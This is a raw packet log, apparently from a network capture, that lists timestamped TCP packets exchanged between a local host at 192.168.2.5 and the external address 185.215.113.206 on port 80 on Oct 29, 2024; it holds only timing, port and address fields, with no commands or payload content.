Oct 29, 2024 06:59:38.740080118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740091085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740092039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740106106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740115881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740119934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740134001 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740134001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740145922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740149975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740164995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740175962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740192890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740230083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740242958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740257025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740278959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740281105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740294933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740300894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740310907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740314007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740334034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740349054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740355968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740390062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740392923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740407944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740427017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740441084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740468025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740482092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740494967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740510941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740525007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740525961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740556002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740564108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740605116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740618944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740633011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740643978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740648985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740653992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740663052 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740667105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740678072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740686893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740694046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740700960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740708113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740720034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740721941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740735054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740748882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740768909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740770102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740792036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740808010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740823030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740825891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740850925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740875959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740895033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740966082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741002083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741023064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741039038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741055012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741061926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741070986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741085052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741086006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741101027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741111040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741123915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741134882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741138935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741153955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741159916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741172075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741183996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741187096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741199017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741202116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741219044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741231918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741904020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741919041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741931915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.741950035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.741974115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855192900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855218887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855242014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855257988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855271101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855272055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855284929 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855295897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855320930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855334997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855336905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855354071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855357885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855376959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855381012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855391979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855400085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855407000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855422974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855424881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855437040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855441093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855462074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855464935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855479002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855489969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855500937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855509043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855518103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855526924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855535984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855557919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855562925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855578899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855600119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855602026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855612040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855618954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855633020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855640888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855652094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855679989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855693102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855707884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855722904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855731964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855739117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855746031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855753899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855763912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855767012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855777979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855789900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855792046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855802059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855806112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855819941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855825901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855835915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855849028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855850935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855870962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855875015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855884075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855890036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855914116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855918884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855938911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.855956078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.855958939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856041908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856194019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856234074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856236935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856249094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856271982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856273890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856288910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856288910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856303930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856328011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856359005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856359005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856374979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856398106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856404066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856415987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856424093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856441021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856456041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856472969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856487989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856503010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856518030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856518030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856534004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856535912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856549025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856556892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856564999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856579065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856601000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856618881 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856633902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856651068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856664896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856666088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856681108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856693983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856693983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856709957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856722116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856749058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856750011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856762886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856779099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856795073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856801987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856811047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856817961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856827021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856841087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856842041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856862068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856864929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856882095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856887102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856898069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856906891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856913090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856926918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856926918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856935978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856941938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856950045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856966019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856970072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856981993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.856981993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.856997967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857000113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857014894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857017994 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857024908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857029915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857045889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857050896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857059002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857063055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857079029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857080936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857095003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857099056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857111931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857119083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857126951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857136011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857142925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857148886 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857168913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857182026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857182980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857206106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857223034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857238054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857240915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857253075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857270956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857270956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857285023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857295036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857300997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857316971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857322931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857331991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857342958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857347965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857362986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857363939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857378960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857378960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857399940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857403040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857419014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857422113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857434034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857448101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857451916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857466936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857467890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857477903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857484102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857487917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857500076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857511044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857518911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857541084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857547998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857562065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857575893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857593060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857599974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857613087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857615948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857631922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857631922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857645988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857661963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857676983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857680082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857700109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857701063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857712984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857714891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857728004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857739925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857743979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857758999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857770920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857783079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857795000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857806921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857810020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857824087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857846022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857846975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857856035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857861042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857875109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857880116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857888937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857889891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857904911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857911110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857920885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857923985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857935905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857947111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857950926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857953072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857964039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857973099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857980013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.857980967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.857995987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.858000994 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858014107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.858020067 CET	80	49888	185.215.113.206	192.168.2.5
